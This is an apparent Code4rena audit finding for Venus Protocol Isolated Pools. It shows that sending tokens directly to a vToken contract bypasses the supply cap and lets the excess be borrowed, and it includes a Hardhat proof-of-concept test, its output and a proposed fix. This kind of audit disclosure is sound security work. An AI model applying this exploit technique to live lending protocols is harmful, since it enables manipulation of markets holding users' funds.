Venus Protocol Isolated Pools - QiuhaoLi's results

Earn, Borrow & Lend on the #1 Decentralized Money Market on the BNB Chain

General Information

Platform: Code4rena

Start Date: 08/05/2023

Pot Size: $90,500 USDC

Total HM: 17

Participants: 102

Period: 7 days

Judge: 0xean

Total Solo HM: 4

Id: 236

League: ETH

Venus Protocol

Findings Distribution

Researcher Performance

Rank: 87/102

Findings: 1

Award: $51.68

🌟 Selected for report: 0

🚀 Solo Findings: 0

Findings Information

🌟 Selected for report: LokiThe5th

Also found by: 0x8chars, Co0nan, Cryptor, J4de, Josiah, Norah, Parad0x, QiuhaoLi, RaymondFam, bin2chen, fs0c, qpzm, thekmj, volodya, xuwinnie

Awards

51.6843 USDC - $51.68

Labels

bug
2 (Med Risk)
downgraded by judge
satisfactory
edited-by-warden
duplicate-220

External Links

Lines of code

https://github.com/code-423n4/2023-05-venus/blob/8be784ed9752b80e6f1b8b781e2e6251748d0d7e/contracts/VToken.sol#L1423 https://github.com/code-423n4/2023-05-venus/blob/8be784ed9752b80e6f1b8b781e2e6251748d0d7e/contracts/VToken.sol#L1476 https://github.com/code-423n4/2023-05-venus/blob/8be784ed9752b80e6f1b8b781e2e6251748d0d7e/contracts/Comptroller.sol#L264 https://github.com/code-423n4/2023-05-venus/blob/8be784ed9752b80e6f1b8b781e2e6251748d0d7e/contracts/VToken.sol#L887

Vulnerability details

Impact

An attacker can supply more than the supplyCap and the over-supply tokens are borrowable in the vToken contract.

Proof of Concept

In vToken _getCashPrior(), we use token.balanceOf(address(this)) to track the underlying. And in preMintHook, _getCashPrior is used (in exchangeRateStored()) to check if the supply overflow the supplyCap:

        uint256 supplyCap = supplyCaps[vToken];
        // Skipping the cap check for uncapped coins to save some gas
        if (supplyCap != type(uint256).max) {
            uint256 vTokenSupply = VToken(vToken).totalSupply();
            Exp memory exchangeRate = Exp({ mantissa: VToken(vToken).exchangeRateStored() }); // <--
            uint256 nextTotalSupply = mul_ScalarTruncateAddUInt(exchangeRate, vTokenSupply, mintAmount);
            if (nextTotalSupply > supplyCap) {
                revert SupplyCapExceeded(vToken, supplyCap);
            }
        }

Also, when a user borrows the underlying assets (_borrowFresh()), _getCashPrior() is used to check if assets are enough:

        /* Fail gracefully if protocol has insufficient underlying cash */
        if (_getCashPrior() - totalReserves < borrowAmount) {
            revert BorrowCashNotAvailable();
        }

So, If an attacker is the first supplier, he can first supply tokens to reach the supply limit (thus, others can't supply to get vTokens). Then he sends tokens directly to the vToken contract to bypass the supply limit check. Later he can also withdraw all the supply tokens + earned interests (since he is the only one who has vTokens).

For example, in the PoC below, user1 is the attacker who gets more profits by oversupplying WBTC. user2 is a borrower.

diff --git a/tests/hardhat/Rewards.ts b/tests/hardhat/Rewards.ts
index 
--- a/tests/hardhat/Rewards.ts
+++ b/tests/hardhat/Rewards.ts
@@ -100,7 +100,7 @@ async function rewardsFixture() {
   fakePriceOracle = await smock.fake<PriceOracle>(PriceOracle__factory.abi);
 
   const btcPrice = "21000.34";
-  const daiPrice = "1";
+  const daiPrice = "10000"; // change DAI price for convenience
 
   fakePriceOracle.getUnderlyingPrice.returns((args: any) => {
     if (vDAI && vWBTC) {
@@ -166,7 +166,7 @@ async function rewardsFixture() {
     initialSupply,
     vTokenReceiver: root.address,
     supplyCap: convertToUnit(1000, 8),
-    borrowCap: convertToUnit(1000, 8),
+    borrowCap: ethers.constants.MaxUint256, // Assume we create a market with only supply limit
   });
 
   initialSupply = convertToUnit(1000, 18);
@@ -379,4 +379,39 @@ describe("Rewards: Tests", async function () {
     */
     expect((await xvs.balanceOf(user1.address)).toString()).be.equal(convertToUnit(500.5, 18));
   });
+
+  it("overSupply", async function () {
+    const [_owner, user1, user2] = await ethers.getSigners();
+
+    await mockWBTC.connect(user1).faucet(convertToUnit(4000, 8)); // user1 supply wbtc
+    await mockWBTC.connect(user2).faucet(convertToUnit(100, 8)); // for user2 to pay interest
+    await mockDAI.connect(user2).faucet(convertToUnit(10000, 18)); // user2's collateral
+
+    let initialSupply = 10;
+    let supplyCap = 1000;
+    await mockWBTC.connect(user1).approve(vWBTC.address, convertToUnit(supplyCap - initialSupply, 8));
+    await vWBTC.connect(user1).mint(convertToUnit(supplyCap - initialSupply, 8)); // now vWBTC supply is at supplyCap (1000)
+
+    // **bypass SupplyCapExceeded check, transfer 1234 wbtc**
+    let overSupply = 1234; // change this to 0 for DEMO
+    await mockWBTC.connect(user1).transfer(vWBTC.address, convertToUnit(overSupply, 8));
+
+    await rewardsDistributor["claimRewardToken(address,address[])"](user1.address, [vWBTC.address, vDAI.address]);
+
+    console.log("\nuser1 get xvs: \t%s", (await xvs.balanceOf(user1.address)))
+
+    await mockDAI.connect(user2).approve(vDAI.address, convertToUnit(10000, 18));
+    await vDAI.connect(user2).mint(convertToUnit(10000, 18));
+    await vWBTC.connect(user2).borrow(convertToUnit(1000 + overSupply, 8)); // **the exceeded supply is borrowerable**
+
+    await rewardsDistributor["claimRewardToken(address,address[])"](user2.address, [vWBTC.address, vDAI.address]);
+
+    await mine(2000000);
+    // user2 repay the wbtc
+    await mockWBTC.connect(user2).approve(vWBTC.address, convertToUnit(1000 + overSupply + 100, 8));
+    await vWBTC.connect(user2).repayBorrow(ethers.constants.MaxUint256);
+    // user1 redeem his supply
+    await vWBTC.connect(user1).redeem((await vWBTC.balanceOf(user1.address)));
+    console.log("user1 WBTC: \t%s\n", (await mockWBTC.balanceOf(user1.address)));
+  });
 });
\ No newline at end of file
qiuhao@pc:~/web3/c4/2023-05-venus$ yarn test tests/hardhat/Rewards.ts --grep "overSupply" # overSupply = 1234
yarn run v1.22.1
$ hardhat test tests/hardhat/Rewards.ts --grep overSupply
No need to generate any newer typings.


  Rewards: Tests

user1 get xvs:  990000000000000000
user1 WBTC:     404657036234

    ✔ overSupply (539ms)


  1 passing (3s)

Done in 4.97s.

qiuhao@pc:~/web3/c4/2023-05-venus$ yarn test tests/hardhat/Rewards.ts --grep "overSupply" # overSupply = 0
yarn run v1.22.1
$ hardhat test tests/hardhat/Rewards.ts --grep overSupply
No need to generate any newer typings.


  Rewards: Tests

user1 get xvs:  990000000000000000
user1 WBTC:     402636990256

    ✔ overSupply (428ms)


  1 passing (3s)

Done in 4.96s.

As we can see, user1 earned more wbtc (402636990256 --> 404657036234) by oversupplying the vToken contract.

The over-supplied contract may suffer in other situations.

Tools Used

Manual Review.

We can use an independent storage variable to store supplied/underlying tokens and use it to check against insufficient underlying cash in _borrowFresh().

Assessed type

Context

#0 - c4-judge

2023-05-17T12:03:03Z

0xean marked the issue as duplicate of #314

#1 - c4-judge

2023-06-05T14:08:35Z

0xean marked the issue as satisfactory

#2 - c4-judge

2023-06-05T14:37:35Z

0xean changed the severity to 3 (High Risk)

#3 - c4-judge

2023-06-05T14:37:43Z

0xean changed the severity to 2 (Med Risk)

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter